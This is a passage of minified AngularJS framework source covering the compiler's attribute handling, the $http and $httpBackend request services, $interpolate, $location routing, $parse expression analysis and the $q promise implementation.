cu=/^\w/,lr=n.document.createElement("div"),lu=it,vu=rt,vr=nt,ei;vi.prototype={$normalize:yt,$addClass:function(n){n&&0<n.length&&ri.addClass(this.$$element,n)},$removeClass:function(n){n&&0<n.length&&ri.removeClass(this.$$element,n)},$updateClass:function(n,t){var i=bs(n,t);i&&i.length&&ri.addClass(this.$$element,i);(i=bs(t,n))&&i.length&&ri.removeClass(this.$$element,i)},$set:function(n,i,r,f){var e=vs(this.$$element[0],n),o=lo[n],s=n;e?(this.$$element.prop(n,i),f=e):o&&(this[o]=i,s=o);this[n]=i;f?this.$attr[n]=f:(f=this.$attr[n])||(this.$attr[n]=f=fs(n,"-"));"img"===lt(this.$$element)&&"srcset"===n&&(this[n]=i=gi(i,"$set('srcset', value)"));!1!==r&&(null===i||u(i)?this.$$element.removeAttr(f):cu.test(f)?e&&!1===i?this.$$element.removeAttr(f):this.$$element.attr(f,i):kr(this.$$element[0],f,i));(n=this.$$observers)&&t(n[s],function(n){try{n(i)}catch(t){l(t)}})},$observe:function(n,t){var i=this,f=i.$$observers||(i.$$observers=y()),r=f[n]||(f[n]=[]);return r.push(t),ct.$evalAsync(function(){r.$$inter||!i.hasOwnProperty(n)||u(i[n])||t(i[n])}),function(){hr(r,t)}}};var yr=r.startSymbol(),pr=r.endSymbol(),wr="{{"===yr&&"}}"===pr?ui:function(n){return n.replace(/\{\{/g,yr).replace(/}}/g,pr)},yu=/^ng(Attr|Prop|On)([A-Z].*)$/,pu=/^(.+)Start$/;return fi.$$addBindingInfo=w?function(n,t){var i=n.data("$binding")||[];c(t)?i=i.concat(t):i.push(t);n.data("$binding",i)}:s,fi.$$addBindingClass=w?function(n){yi(n,"ng-binding")}:s,fi.$$addScopeInfo=w?function(n,t,i,r){n.data(i?r?"$isolateScopeNoTemplate":"$isolateScope":"$scope",t)}:s,fi.$$addScopeClass=w?function(n,t){yi(n,t?"ng-isolate-scope":"ng-scope")}:s,fi.$$createComment=function(t,i){var r="";return w&&(r=" "+(t||"")+": ",i&&(r+=i+" ")),n.document.createComment(r)},fi}]}function au(n,t){this.previousValue=n;this.currentValue=t}function yt(n){return n.replace(bc,"").replace(bw,function(n,t,i){return i?t.toUpperCase():t})}function bs(n,t){var r="",e=n.split(/\s+/),o=t.split(/\s+/),u=0,f,i;n:for(;u<e.length;u++){for(f=e[u],i=0;i<o.length;i++)if(f===o[i])continue n;r+=(0<r.length?" ":"")+f}return r}function ks(n){var t,i;if(n=f(n),t=n.length,1>=t)return n;for(;t--;)i=n[t],(8===i.nodeType||i.nodeType===ii&&""===i.nodeValue.trim())&&vp.call(n,t,1);return n}function lv(n,t){if(t&&h(t))return t;if(h(n)){var i=dc.exec(n);if(i)return i[3]}}function av(){var n={};this.has=function(t){return n.hasOwnProperty(t)};this.register=function(t,i){wi(t,"controller");o(t)?v(n,t):n[t]=i};this.$get=["$injector",function(t){function i(n,t,i,r){if(!n||!o(n.$scope))throw l("$controller")("noscp",r,t);n.$scope[t]=i}return function(r,u,f,s){var l,a,y;if(f=!0===f,s&&h(s)&&(y=s),h(r)){if(s=r.match(dc),!s)throw kc("ctrlfmt",r);if(a=s[1],y=y||s[3],r=n.hasOwnProperty(a)?n[a]:wa(u.$scope,a,!0),!r)throw kc("ctrlreg",a);tu(r,a,!0)}return f?(f=(c(r)?r[r.length-1]:r).prototype,l=Object.create(f||null),y&&i(u,y,l,a||r.name),v(function(){var n=t.invoke(r,l,u,a);return n!==l&&(o(n)||e(n))&&(l=n,y&&i(u,y,l,a||r.name)),l},{instance:l,identifier:y})):(l=t.instantiate(r,u,a),y&&i(u,y,l,a||r.name),l)}}]}function vv(){this.$get=["$window",function(n){return f(n.document)}]}function yv(){this.$get=["$document","$rootScope",function(n,t){function r(){u=i.hidden}var i=n[0],u=i&&i.hidden;n.on("visibilitychange",r);return t.$on("$destroy",function(){n.off("visibilitychange",r)}),function(){return u}}]}function pv(){this.$get=["$log",function(n){return function(){n.error.apply(n,arguments)}}]}function he(n){return o(n)?st(n)?n.toISOString():lr(n):n}function wv(){this.$get=function(){return function(n){if(!n)return"";var i=[];return ko(n,function(n,r){null===n||u(n)||e(n)||(c(n)?t(n,function(n){i.push(ht(r)+"="+ht(he(n)))}):i.push(ht(r)+"="+ht(he(n))))}),i.join("&")}}}function bv(){this.$get=function(){return function(n){function i(n,u,f){c(n)?t(n,function(n,t){i(n,u+"["+(o(n)?t:"")+"]")}):o(n)&&!st(n)?ko(n,function(n,t){i(n,u+(f?"":"[")+t+(f?"":"]"))}):(e(n)&&(n=n()),r.push(ht(u)+"="+(null==n?"":ht(he(n)))))}if(!n)return"";var r=[];return i(n,"",!0),r.join("&")}}}function ce(n,t){var r,i,u;if(h(n)&&(r=n.replace(nb,"").trim(),r&&(i=t("Content-Type"),i=i&&0===i.indexOf(gc),(u=i)||(u=(u=r.match(dw))&&gw[u[0]].test(r)),u)))try{n=ts(r)}catch(f){if(!i)return n;throw sf("baddata",n,f);}return n}function ds(n){var i=y(),r;return h(n)?t(n.split("\n"),function(n){r=n.indexOf(":");var t=a(p(n.substr(0,r)));n=p(n.substr(r+1));t&&(i[t]=i[t]?i[t]+", "+n:n)}):o(n)&&t(n,function(n,t){var r=a(t),u=p(n);r&&(i[r]=i[r]?i[r]+", "+u:u)}),i}function gs(n){var t;return function(i){return t||(t=ds(n)),i?(i=t[a(i)],void 0===i&&(i=null),i):t}}function nh(n,i,r,u){return e(u)?u(n,i,r):(t(u,function(t){n=t(n,i,r)}),n)}function kv(){var n=this.defaults={transformResponse:[ce],transformRequest:[function(n){return o(n)&&"[object File]"!==ft.call(n)&&"[object Blob]"!==ft.call(n)&&"[object FormData]"!==ft.call(n)?lr(n):n}],headers:{common:{Accept:"application/json, text/plain, */*"},post:vt(vo),put:vt(vo),patch:vt(vo)},xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",paramSerializer:"$httpParamSerializer",jsonpCallbackParam:"callback"},i=!1,f,y;this.useApplyAsync=function(n){return r(n)?(i=!!n,this):i};f=this.interceptors=[];y=this.xsrfTrustedOrigins=[];Object.defineProperty(this,"xsrfWhitelistedOrigins",{get:function(){return this.xsrfTrustedOrigins},set:function(n){this.xsrfTrustedOrigins=n}});this.$get=["$browser","$httpBackend","$$cookieReader","$cacheFactory","$rootScope","$q","$injector","$sce",function(p,w,b,k,d,g,nt,tt){function it(i){function y(n,t){for(var u,f,i=0,r=t.length;i<r;)u=t[i++],f=t[i++],n=n.then(u,f);return t.length=0,n}function b(n,i){var r,u={};return t(n,function(n,t){e(n)?(r=n(i),null!=r&&(u[t]=r)):u[t]=n}),u}function w(n){var t=v({},n);return t.data=nh(n.data,n.headers,n.status,r.transformResponse),n=n.status,200<=n&&300>n?t:g.reject(t)}var r,f,c;if(!o(i))throw l("$http")("badreq",i);if(!h(tt.valueOf(i.url)))throw l("$http")("badreq",i.url);return r=v({method:"get",transformRequest:n.transformRequest,transformResponse:n.transformResponse,paramSerializer:n.paramSerializer,jsonpCallbackParam:n.jsonpCallbackParam},i),r.headers=function(t){var i=n.headers,u=v({},t.headers),r,f,e,i=v({},i.common,i[a(t.method)]);n:for(r in i){f=a(r);for(e in u)if(a(e)===f)continue n;u[r]=i[r]}return b(u,vt(t))}(i),r.method=gu(r.method),r.paramSerializer=h(r.paramSerializer)?nt.get(r.paramSerializer):r.paramSerializer,p.$$incOutstandingRequestCount("$http"),f=[],c=[],i=g.resolve(r),t(rt,function(n){(n.request||n.requestError)&&f.unshift(n.request,n.requestError);(n.response||n.responseError)&&c.push(n.response,n.responseError)}),i=y(i,f),i=i.then(function(i){var r=i.headers,f=nh(i.data,gs(r),void 0,i.transformRequest);return u(f)&&t(r,function(n,t){"content-type"===a(t)&&delete r[t]}),u(i.withCredentials)&&!u(n.withCredentials)&&(i.withCredentials=n.withCredentials),ft(i,f).then(w,w)}),i=y(i,c),i.finally(function(){p.$$completeOutstandingRequest(s,"$http")})}function ft(f,s){function rt(n){if(n){var r={};return t(n,function(n,t){r[t]=function(t){function r(){n(t)}i?d.$applyAsync(r):d.$$phase?r():d.$apply(r)}}),r}}function at(n,t,r,u,f){function e(){p(t,n,r,u,f)}y&&(200<=n&&300>n?y.put(v,[n,t,ds(r),u,f]):y.remove(v));i?d.$applyAsync(e):(e(),d.$$phase||d.$apply())}function p(n,t,i,r,u){t=-1<=t?t:0;(200<=t&&300>t?k.resolve:k.reject)({data:n,status:t,headers:gs(i),config:f,statusText:r,xhrStatus:u})}function ft(n){p(n.data,n.status,vt(n.headers()),n.statusText,n.xhrStatus)}function ht(){var n=it.pendingRequests.indexOf(f);-1!==n&&it.pendingRequests.splice(n,1)}var k=g.defer(),nt=k.promise,y,l,ct=f.headers,lt="jsonp"===a(f.method),v=f.url;return lt?v=tt.getTrustedResourceUrl(v):h(v)||(v=tt.valueOf(v)),v=et(v,f.paramSerializer(f.params)),lt&&(v=ot(v,f.jsonpCallbackParam)),it.pendingRequests.push(f),nt.then(ht,ht),(f.cache||n.cache)&&!1!==f.cache&&("GET"===f.method||"JSONP"===f.method)&&(y=o(f.cache)?f.cache:o(n.cache)?n.cache:st),y&&(l=y.get(v),r(l)?l&&e(l.then)?l.then(ft,ft):c(l)?p(l[1],l[0],vt(l[2]),l[3],l[4]):p(l,200,{},"OK","complete"):y.put(v,nt)),u(l)&&((l=ut(f.url)?b()[f.xsrfCookieName||n.xsrfCookieName]:void 0)&&(ct[f.xsrfHeaderName||n.xsrfHeaderName]=l),w(f.method,v,s,at,ct,f.timeout,f.withCredentials,f.responseType,rt(f.eventHandlers),rt(f.uploadEventHandlers))),nt}function et(n,t){return 0<t.length&&(n+=(-1===n.indexOf("?")?"?":"&")+t),n}function ot(n,i){var r=n.split("?");if(2<r.length)throw sf("badjsonp",n);return r=te(r[1]),t(r,function(t,r){if("JSON_CALLBACK"===t)throw sf("badjsonp",n);if(r===i)throw sf("badjsonp",i,n);}),n+=(-1===n.indexOf("?")?"?":"&")+i+"=JSON_CALLBACK"}var st=k("$http"),rt,ut;return n.paramSerializer=h(n.paramSerializer)?nt.get(n.paramSerializer):n.paramSerializer,rt=[],t(f,function(n){rt.unshift(h(n)?nt.get(n):nt.invoke(n))}),ut=rp(y),it.pendingRequests=[],function(){t(arguments,function(n){it[n]=function(t,i){return it(v({},i||{},{method:n,url:t}))}})}("get","delete","head","jsonp"),function(){t(arguments,function(n){it[n]=function(t,i,r){return it(v({},r||{},{method:n,url:t,data:i}))}})}("post","put","patch"),it.defaults=n,it}]}function dv(){this.$get=function(){return function(){return new n.XMLHttpRequest}}}function gv(){this.$get=["$browser","$jsonpCallbacks","$document","$xhrFactory",function(n,t,i,r){return ny(n,r,n.defer,t,i[0])}]}function ny(n,i,f,o,s){function h(n,t,i){n=n.replace("JSON_CALLBACK",t);var r=s.createElement("script"),u=null;return r.type="text/javascript",r.src=n,r.async=!0,u=function(n){r.removeEventListener("load",u);r.removeEventListener("error",u);s.body.removeChild(r);r=null;var f=-1,e="unknown";n&&("load"!==n.type||o.wasCalled(t)||(n={type:"error"}),e=n.type,f="error"===n.type?404:200);i&&i(f,e)},r.addEventListener("load",u),r.addEventListener("error",u),s.body.appendChild(r),u}return function(s,c,l,v,y,p,w,b,k,d){function et(n){rt="timeout"===n;it&&it();g&&g.abort()}function nt(n,t,i,u,e,o){r(ft)&&f.cancel(ft);it=g=null;n(t,i,u,e,o)}var tt,it,g,rt,ft;if(c=c||n.url(),"jsonp"===a(s))tt=o.createCallback(c),it=h(c,tt,function(n,t){var i=200===n&&o.getResponse(tt);nt(v,n,i,"",t,"complete");o.removeCallback(tt)});else{if(g=i(s,c),rt=!1,g.open(s,c,!0),t(y,function(n,t){r(n)&&g.setRequestHeader(t,n)}),g.onload=function(){var i=g.statusText||"",t="response"in g?g.response:g.responseText,n=1223===g.status?204:g.status;0===n&&(n=t?200:"file"===ut(c).protocol?404:0);nt(v,n,t,g.getAllResponseHeaders(),i,"complete")},g.onerror=function(){nt(v,-1,null,null,"","error")},g.ontimeout=function(){nt(v,-1,null,null,"","timeout")},g.onabort=function(){nt(v,-1,null,null,"",rt?"timeout":"abort")},t(k,function(n,t){g.addEventListener(t,n)}),t(d,function(n,t){g.upload.addEventListener(t,n)}),w&&(g.withCredentials=!0),b)try{g.responseType=b}catch(ot){if("json"!==b)throw ot;}g.send(u(l)?null:l)}0<p?ft=f(function(){et("timeout")},p):p&&e(p.then)&&p.then(function(){et(r(p.$$timeoutId)?"timeout":"abort")})}}function ty(){var n="{{",t="}}";this.startSymbol=function(t){return t?(n=t,this):n};this.endSymbol=function(n){return n?(t=n,this):t};this.$get=["$parse","$exceptionHandler","$sce",function(i,f,e){function h(n){return"\\\\\\"+n}function o(i){return i.replace(y,n).replace(p,t)}function l(n,t,i,r){var u=n.$watch(function(n){return u(),r(n)},t,i);return u}function s(s,h,y,p){function st(n){try{return n=y&&!g?e.getTrusted(y,n):e.valueOf(n),p&&!r(n)?n:re(n)}catch(t){f(yi.interr(s,t))}}var g=y===e.URL||y===e.MEDIA_URL,et,ut;if(!s.length||-1===s.indexOf(n))return h?void 0:(h=o(s),g&&(h=e.getTrusted(y,h)),h=ot(h),h.exp=s,h.expressions=[],h.$$watchDelegate=l,h);p=!!p;for(var d,nt,b=0,k=[],tt,ft=s.length,w=[],it=[],rt;b<ft;)if(-1!==(d=s.indexOf(n,b))&&-1!==(nt=s.indexOf(t,d+c)))b!==d&&w.push(o(s.substring(b,d))),b=s.substring(d+c,nt),k.push(b),b=nt+a,it.push(w.length),w.push("");else{b!==ft&&w.push(o(s.substring(b)));break}return rt=1===w.length&&1===it.length,et=g&&rt?void 0:st,tt=k.map(function(n){return i(n,et)}),!h||k.length?(ut=function(n){for(var t=0,i=k.length;t<i;t++){if(p&&u(n[t]))return;w[it[t]]=n[t]}return g?e.getTrusted(y,rt?w[0]:w.join("")):(y&&1<w.length&&yi.throwNoconcat(s),w.join(""))},v(function(n){var t=0,i=k.length,r=Array(i);try{for(;t<i;t++)r[t]=tt[t](n);return ut(r)}catch(u){f(yi.interr(s,u))}},{exp:s,expressions:k,$$watchDelegate:function(n,t){var i;return n.$watchGroup(tt,function(r,u){var f=ut(r);t.call(this,f,r!==u?i:f,n);i=f})}})):void 0}var c=n.length,a=t.length,y=new RegExp(n.replace(/./g,h),"g"),p=new RegExp(t.replace(/./g,h),"g");return s.startSymbol=function(){return n},s.endSymbol=function(){return t},s}]}function iy(){this.$get=["$$intervalFactory","$window",function(n,t){var i={},r=function(n){t.clearInterval(n);delete i[n]},u=n(function(n,r,u){return n=t.setInterval(n,r),i[n]=u,n},r);return u.cancel=function(n){if(!n)return!1;if(!n.hasOwnProperty("$$intervalId"))throw tb("badprom");if(!i.hasOwnProperty(n.$$intervalId))return!1;n=n.$$intervalId;var t=i[n],u=t.promise;return u.$$state&&(u.$$state.pur=!0),t.reject("canceled"),r(n),!0},u}]}function ry(){this.$get=["$browser","$q","$$q","$rootScope",function(n,t,i,u){return function(f,e){return function(o,s,h,c){function p(){w?o.apply(null,b):o(l)}var w=4<arguments.length,b=w?ni.call(arguments,4):[],l=0,a=r(c)&&!c,v=(a?i:t).defer(),y=v.promise;return h=r(h)?h:0,y.$$intervalId=f(function(){a?n.defer(p):u.$evalAsync(p);v.notify(l++);0<h&&l>=h&&(v.resolve(l),e(y.$$intervalId));a||u.$apply()},s,v,a),y}}}]}function th(n,t){var i=ut(n);t.$$protocol=i.protocol;t.$$host=i.hostname;t.$$port=rt(i.port)||ub[i.protocol]||null}function ih(n,t,i){var r,u;if(fb.test(n))throw br("badpath",n);for(r="/"!==n.charAt(0),r&&(n="/"+n),n=ut(n),r=(r&&"/"===n.pathname.charAt(0)?n.pathname.substring(1):n.pathname).split("/"),u=r.length;u--;)r[u]=decodeURIComponent(r[u]),i&&(r[u]=r[u].replace(/\//g,"%2F"));i=r.join("/");t.$$path=i;t.$$search=te(n.search);t.$$hash=decodeURIComponent(n.hash);t.$$path&&"/"!==t.$$path.charAt(0)&&(t.$$path="/"+t.$$path)}function le(n,t){return n.slice(0,t.length)===t}function gt(n,t){if(le(t,n))return t.substr(n.length)}function oi(n){var t=n.indexOf("#");return-1===t?n:n.substr(0,t)}function ae(n,t,i){this.$$html5=!0;i=i||"";th(n,this);this.$$parse=function(n){var i=gt(t,n);if(!h(i))throw br("ipthprfx",n,t);ih(i,this,!0);this.$$path||(this.$$path="/");this.$$compose()};this.$$normalizeUrl=function(n){return t+n.substr(1)};this.$$parseLinkUrl=function(u,f){if(f&&"#"===f[0])return this.hash(f.slice(1)),!0;var e,o;return r(e=gt(n,u))?(o=e,o=i&&r(e=gt(i,e))?t+(gt("/",e)||e):n+o):r(e=gt(t,u))?o=t+e:t===u+"/"&&(o=t),o&&this.$$parse(o),!!o}}function ve(n,t,i){th(n,this);this.$$parse=function(r){var e=gt(n,r)||gt(t,r),f,o;u(e)||"#"!==e.charAt(0)?this.$$html5?f=e:(f="",u(e)&&(n=r,this.replace())):(f=gt(i,e),u(f)&&(f=e));ih(f,this,!1);r=this.$$path;e=n;o=/^\/[A-Z]:(\/.*)/;le(f,e)&&(f=f.replace(e,""));o.exec(f)||(r=(f=o.exec(r))?f[1]:r);this.$$path=r;this.$$compose()};this.$$normalizeUrl=function(t){return n+(t?i+t:"")};this.$$parseLinkUrl=function(t){return oi(n)===oi(t)?(this.$$parse(t),!0):!1}}function rh(n,t,i){this.$$html5=!0;ve.apply(this,arguments);this.$$parseLinkUrl=function(r,u){if(u&&"#"===u[0])return this.hash(u.slice(1)),!0;var f,e;return n===oi(r)?f=r:(e=gt(t,r))?f=n+i+e:t===r+"/"&&(f=t),f&&this.$$parse(f),!!f};this.$$normalizeUrl=function(t){return n+i+t}}function vu(n){return function(){return this[n]}}function uh(n,t){return function(i){return u(i)?this[n]:(this[n]=t(i),this.$$compose(),this)}}function uy(){var t="!",n={enabled:!1,requireBase:!0,rewriteLinks:!0};this.hashPrefix=function(n){return r(n)?(t=n,this):t};this.html5Mode=function(t){return dt(t)?(n.enabled=t,this):o(t)?(dt(t.enabled)&&(n.enabled=t.enabled),dt(t.requireBase)&&(n.requireBase=t.requireBase),(dt(t.rewriteLinks)||h(t.rewriteLinks))&&(n.rewriteLinks=t.rewriteLinks),this):n};this.$get=["$rootScope","$browser","$sniffer","$rootElement","$window",function(i,r,e,s,c){function g(n,t){return n===t||ut(n).href===ut(t).href}function b(n,t,i){var u=l.url(),f=l.$$state;try{r.url(n,t,i);l.$$state=r.state()}catch(e){throw l.url(u),l.$$state=f,e;}}function k(n,t){i.$broadcast("$locationChangeSuccess",l.absUrl(),n,l.$$state,t)}var l,v,a,y,w,d,p;if(v=r.baseHref(),a=r.url(),n.enabled){if(!v&&n.requireBase)throw br("nobase");y=a.substring(0,a.indexOf("/",a.indexOf("//")+2))+(v||"/");v=e.history?ae:rh}else y=oi(a),v=ve;w=y.substr(0,oi(y).lastIndexOf("/")+1);l=new v(y,w,"#"+t);l.$$parseLinkUrl(a,a);l.$$state=r.state();d=/^\s*(javascript|mailto):/i;s.on("click",function(t){var e=n.rewriteLinks,c,a;if(e&&!t.ctrlKey&&!t.metaKey&&!t.shiftKey&&2!==t.which&&2!==t.button){for(c=f(t.target);"a"!==lt(c[0]);)if(c[0]===s[0]||!(c=c.parent())[0])return;h(e)&&u(c.attr(e))||(e=c.prop("href"),a=c.attr("href")||c.attr("xlink:href"),o(e)&&"[object SVGAnimatedString]"===e.toString()&&(e=ut(e.animVal).href),d.test(e)||!e||c.attr("target")||t.isDefaultPrevented()||!l.$$parseLinkUrl(e,a)||(t.preventDefault(),l.absUrl()!==r.url()&&i.$apply()))}});l.absUrl()!==a&&r.url(l.absUrl(),!0);p=!0;r.onUrlChange(function(n,t){le(n,w)?(i.$evalAsync(function(){var r=l.absUrl(),u=l.$$state,f;l.$$parse(n);l.$$state=t;f=i.$broadcast("$locationChangeStart",n,r,t,u).defaultPrevented;l.absUrl()===n&&(f?(l.$$parse(r),l.$$state=u,b(r,!1,u)):(p=!1,k(r,u)))}),i.$$phase||i.$digest()):c.location.href=n});return i.$watch(function(){if(p||l.$$urlUpdatedByLocation){l.$$urlUpdatedByLocation=!1;var t=r.url(),f=l.absUrl(),n=r.state(),o=l.$$replace,u=!g(t,f)||l.$$html5&&e.history&&n!==l.$$state;(p||u)&&(p=!1,i.$evalAsync(function(){var r=l.absUrl(),f=i.$broadcast("$locationChangeStart",r,t,l.$$state,n).defaultPrevented;l.absUrl()===r&&(f?(l.$$parse(t),l.$$state=n):(u&&b(r,o,n===l.$$state?null:l.$$state),k(t,n)))}))}l.$$replace=!1}),l}]}function fy(){var n=!0,i=this;this.debugEnabled=function(t){return r(t)?(n=t,this):n};this.$get=["$window",function(r){function f(n){return bf(n)&&(n.stack&&e?n=n.message&&-1===n.stack.indexOf(n.message)?"Error: "+n.message+"\n"+n.stack:n.stack:n.sourceURL&&(n=n.message+"\n"+n.sourceURL+":"+n.line)),n}function u(n){var i=r.console||{},u=i[n]||i.log||s;return function(){var n=[];return t(arguments,function(t){n.push(f(t))}),Function.prototype.apply.call(u,i,n)}}var e=wt||/\bEdge\//.test(r.navigator&&r.navigator.userAgent);return{log:u("log"),info:u("info"),warn:u("warn"),error:u("error"),debug:function(){var t=u("debug");return function(){n&&t.apply(i,arguments)}}()}}]}function ey(n){return n+""}function oy(n,t){return"undefined"!=typeof n?n:t}function fh(n,t){return"undefined"==typeof n?t:"undefined"==typeof t?n:n+t}function sy(n,t){switch(n.type){case i.MemberExpression:if(n.computed)return!1;break;case i.UnaryExpression:return 1;case i.BinaryExpression:return"+"!==n.operator?1:!1;case i.CallExpression:return!1}return void 0===t?yo:t}function d(n,r,u){var f,o,e=n.isPure=sy(n,u);switch(n.type){case i.Program:f=!0;t(n.body,function(n){d(n.expression,r,e);f=f&&n.expression.constant});n.constant=f;break;case i.Literal:n.constant=!0;n.toWatch=[];break;case i.UnaryExpression:d(n.argument,r,e);n.constant=n.argument.constant;n.toWatch=n.argument.toWatch;break;case i.BinaryExpression:d(n.left,r,e);d(n.right,r,e);n.constant=n.left.constant&&n.right.constant;n.toWatch=n.left.toWatch.concat(n.right.toWatch);break;case i.LogicalExpression:d(n.left,r,e);d(n.right,r,e);n.constant=n.left.constant&&n.right.constant;n.toWatch=n.constant?[]:[n];break;case i.ConditionalExpression:d(n.test,r,e);d(n.alternate,r,e);d(n.consequent,r,e);n.constant=n.test.constant&&n.alternate.constant&&n.consequent.constant;n.toWatch=n.constant?[]:[n];break;case i.Identifier:n.constant=!1;n.toWatch=[n];break;case i.MemberExpression:d(n.object,r,e);n.computed&&d(n.property,r,e);n.constant=n.object.constant&&(!n.computed||n.property.constant);n.toWatch=n.constant?[]:[n];break;case i.CallExpression:f=u=n.filter?!r(n.callee.name).$stateful:!1;o=[];t(n.arguments,function(n){d(n,r,e);f=f&&n.constant;o.push.apply(o,n.toWatch)});n.constant=f;n.toWatch=u?o:[n];break;case i.AssignmentExpression:d(n.left,r,e);d(n.right,r,e);n.constant=n.left.constant&&n.right.constant;n.toWatch=[n];break;case i.ArrayExpression:f=!0;o=[];t(n.elements,function(n){d(n,r,e);f=f&&n.constant;o.push.apply(o,n.toWatch)});n.constant=f;n.toWatch=o;break;case i.ObjectExpression:f=!0;o=[];t(n.properties,function(n){d(n.value,r,e);f=f&&n.value.constant;o.push.apply(o,n.value.toWatch);n.computed&&(d(n.key,r,!1),f=f&&n.key.constant,o.push.apply(o,n.key.toWatch))});n.constant=f;n.toWatch=o;break;case i.ThisExpression:n.constant=!1;n.toWatch=[];break;case i.LocalsExpression:n.constant=!1;n.toWatch=[]}}function eh(n){if(1===n.length){n=n[0].expression;var t=n.toWatch;return 1!==t.length?t:t[0]!==n?t:void 0}}function oh(n){return n.type===i.Identifier||n.type===i.MemberExpression}function sh(n){if(1===n.body.length&&oh(n.body[0].expression))return{type:i.AssignmentExpression,left:n.body[0].expression,right:{type:i.NGValueParameter},operator:"="}}function hh(n){this.$filter=n}function ch(n){this.$filter=n}function yu(n,t,r){this.ast=new i(n,r);this.astCompiler=r.csp?new ch(t):new hh(t)}function ye(n){return e(n.valueOf)?n.valueOf():ob.call(n)}function hy(){var u=y(),f={"true":!0,"false":!1,"null":null,undefined:void 0},n,i;this.addLiteral=function(n,t){f[n]=t};this.setIdentifierFns=function(t,r){return n=t,i=r,this};this.$get=["$filter",function(o){function v(n,t){var i,r;switch(typeof n){case"string":return r=n=n.trim(),i=u[r],i||(i=new kr(c),i=new yu(i,o,c).parse(n),u[r]=l(i)),a(i,t);case"function":return a(n,t);default:return a(s,t)}}function h(n,t,i){return null==n||null==t?n===t:"object"!=typeof n||(n=ye(n),"object"!=typeof n||i)?n===t||n!==n&&t!==t:!1}function y(n,t,i,r,u){var f=r.inputs,e,s;if(1===f.length)return s=h,f=f[0],n.$watch(function(n){var t=f(n);return h(t,s,f.isPure)||(e=r(n,void 0,void 0,[t]),s=t&&ye(t)),e},t,i,u);for(var c=[],l=[],o=0,a=f.length;o<a;o++)c[o]=h,l[o]=null;return n.$watch(function(n){for(var i,u=!1,t=0,o=f.length;t<o;t++)i=f[t](n),(u||(u=!h(i,c[t],f[t].isPure)))&&(l[t]=i,c[t]=i&&ye(i));return u&&(e=r(n,void 0,void 0,l)),e},t,i,u)}function p(n,t,i,u,f){function a(){s(o)&&h()}function e(n,t,i,r){return o=y&&r?r[0]:c(n,t,i,r),s(o)&&n.$$postDigest(a),v(o)}var s=u.literal?w:r,h,o,c=u.$$intercepted||u,v=u.$$interceptor||ui,y=u.inputs&&!c.inputs;return e.literal=u.literal,e.constant=u.constant,e.inputs=u.inputs,l(e),h=n.$watch(e,t,i,f)}function w(n){var i=!0;return t(n,function(n){r(n)||(i=!1)}),i}function b(n,t,i,r){var u=n.$watch(function(n){return u(),r(n)},t,i);return u}function l(n){return n.constant?n.$$watchDelegate=b:n.oneTime?n.$$watchDelegate=p:n.inputs&&(n.$$watchDelegate=y),n}function k(n,t){function i(i){return t(n(i))}return i.$stateful=n.$stateful||t.$stateful,i.$$pure=n.$$pure&&t.$$pure,i}function a(n,t){if(!t)return n;n.$$interceptor&&(t=k(n.$$interceptor,t),n=n.$$intercepted);var r=!1,i=function(i,u,f,e){return i=r&&e?e[0]:n(i,u,f,e),t(i)};return i.$$intercepted=n,i.$$interceptor=t,i.literal=n.literal,i.oneTime=n.oneTime,i.constant=n.constant,t.$stateful||(r=!n.inputs,i.inputs=n.inputs?n.inputs:[n],t.$$pure||(i.inputs=i.inputs.map(function(n){return n.isPure===yo?function(t){return n(t)}:n}))),l(i)}var c={csp:li().noUnsafeEval,literals:fi(f),isIdentifierStart:e(n)&&n,isIdentifierContinue:e(i)&&i};return v.$$getAst=function(n){var t=new kr(c);return new yu(t,o,c).getAst(n).ast},v}]}function cy(){var n=!0;this.$get=["$rootScope","$exceptionHandler",function(t,i){return lh(function(n){t.$evalAsync(n)},i,n)}];this.errorOnUnhandledRejections=function(t){return r(t)?(n=t,this):n}}function ly(){var n=!0;this.$get=["$browser","$exceptionHandler",function(t,i){return lh(function(n){t.defer(n)},i,n)}];this.errorOnUnhandledRejections=function(t){return r(t)?(n=t,this):n}}function lh(n,i,r){function tt(){return new et}function et(){var n=this.promise=new f;this.resolve=function(t){h(n,t)};this.reject=function(t){a(n,t)};this.notify=function(t){g(n,t)}}function f(){this.$$state={status:0}}function it(){for(var t,n;!y&&b.length;)t=b.shift(),t.pur||(t.pur=!0,n=t.value,n="Possibly unhandled rejection: "+("function"==typeof n?n.toString().replace(/ \{[\s\S]*$/,""):u(n)?"undefined":"string"!=typeof n?ka(n,void 0):n),bf(t.value)?i(t.value,n):i(n))}function k(t){!r||t.pending||2!==t.status||t.pur||(0===y&&0===b.length&&n(it),b.push(t));!t.processScheduled&&t.pending&&(t.processScheduled=!0,++y,n(function(){var c,u,o,f,l;o=t.pending;t.processScheduled=!1;t.pending=void 0;try{for(f=0,l=o.length;f<l;++f){t.pur=!0;u=o[f][0];c=o[f][t.status];try{e(c)?h(u,c(t.value)):1===t.status?h(u,t.value):a(u,t.value)}catch(s){a(u,s);s&&!0===s.$$passToExceptionHandler&&i(s)}}}finally{--y;r&&0===y&&n(it)}}))}function h(n,t){n.$$state.status||(t===n?d(n,ft("qcycle",t)):rt(n,t))}function rt(n,t){function f(t){i||(i=!0,rt(n,t))}function u(t){i||(i=!0,d(n,t))}function s(t){g(n,t)}var r,i=!1;try{(o(t)||e(t))&&(r=t.then);e(r)?(n.$$state.status=-1,r.call(t,f,u,s)):(n.$$state.value=t,n.$$state.status=1,k(n.$$state))}catch(h){u(h)}}function a(n,t){n.$$state.status||d(n,t)}function d(n,t){n.$$state.value=t;n.$$state.status=2;k(n.$$state)}function g(t,r){var u=t.$$state.pending;0>=t.$$state.status&&u&&u.length&&n(function(){for(var t,f,n=0,o=u.length;n<o;n++){f=u[n][0];t=u[n][3];try{g(f,e(t)?t(r):r)}catch(s){i(s)}}})}function p(n){var t=new f;return a(t,n),t}function ut(n,t,i){var r=null;try{e(i)&&(r=i())}catch(u){return p(u)}return r&&e(r.then)?r.then(function(){return t(n)},p):t(n)}function w(n,t,i,r){var u=new f;return h(u,n),u.then(t,i,r)}function s(n){if(!e(n))throw ft("norslvr",n);var t=new f;return n(function(n){h(t,n)},function(n){a(t,n)}),t}var ft=l("$q",TypeError),y=0,b=[],nt;return v(f.prototype,{then:function(n,t,i){if(u(n)&&u(t)&&u(i))return this;var r=new f;return this.$$state.pending=this.$$state.pending||[],this.$$state.pending.push([r,n,t,i]),0<this.$$state.status&&k(this.$$state),r},"catch":function(n){return this.then(null,n)},"finally":function(n,t){return this.then(function(t){return ut(t,nt,n)},function(t){return 